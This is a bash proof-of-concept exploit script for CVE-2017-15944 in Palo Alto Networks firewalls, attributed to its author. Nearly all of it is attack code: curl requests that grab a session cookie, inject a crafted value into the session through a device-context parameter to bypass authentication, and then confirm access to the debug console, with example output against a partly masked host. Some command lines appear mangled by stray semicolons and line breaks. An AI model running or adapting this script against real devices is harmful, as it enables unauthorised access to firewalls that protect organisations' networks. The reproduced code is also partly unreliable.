Palo Alto Networks firewalls remote root code execution(CVE-2017-15944)

                                                #!/bin/bash
#
# Exploit Title: Fake Cookie Injection PoC - CVE-2017-15944
# Date: December 15, 2017
# Description: Create a take custom cookie and then verify it.
# CVE: CVE-2017-15944
# Author: Fernando Lagos (Zerial)
# https://twitter.com/Zerial
# https://blog.zerial.org
# https://nivel4.com
#
#
# Example:
# ~$ bash pan-poc.sh
#   Testing CVE-2017-15944 on https://96.8x.xxx.xx:4443
#   [+] Testing connection to host: OK
#   [+] Cooking session: OK
#   [+] Inserting fake cookie: OK
#   [+] Verifying session: OK
#   *** [!] Host https://96.8x.xxx.xx:4443 is  vulnerable.
#
# NOTE: Run as bash

uri=$1
echo "Testing CVE-2017-15944 on $uri"
echo -n "[+] Testing connection to host: "
curl --max-time 4 -k --connect-timeout 3 $uri -s -H "User-Agent:
CVE-2017-15944/PoC/v1 - https://nivel4.com";>/dev/null
if [ $? -eq 0 ]
then
echo "OK"
else
echo "Unreachable."
exit 1
fi
echo -n "[+] Cooking session: "
curl -s --connect-timeout 3 -k "$uri/php/login.php" -H "User-Agent:
CVE-2017-15944/PoC/v1 - https://nivel4.com"; -c /tmp/pan_cookie >/dev/null
echo "OK"
echo -n "[+] Inserting fake cookie: "
curl -s --connect-timeout 3 -k -vvv
"$uri/esp/cms_changeDeviceContext.esp?device=aaaaa:a%27\";user|s.\"1337\";"
-b /tmp/pan_cookie -s -H "User-Agent: CVE-2017-15944/PoC/v1 -
https://nivel4.com"; 2>/dev/null|grep "Success" >/dev/null
if [ $? -eq 0 ]
then
echo "OK"
else
echo "Error."
exit 1
fi
echo -n "[+] Verifying session: "
curl -s -k --connect-timeout 3 "$uri/php/utils/debug.php" -b
/tmp/pan_cookie -H "User-Agent: CVE-2017-15944/PoC/v1 - https://nivel4.com";
|grep -i "Debug Console">/dev/null
if [ $? -eq 0 ]
then
echo "OK"
else
echo -e "\033[1;33m[!]\033[0m Warning. Can't verify. \033[1;33mPlease check
manually\033[0m."
exit 1
fi
echo -e "*** \033[0;31m[!]\033[0m Host $uri is \033[0;31m
vulnerable\033[0m."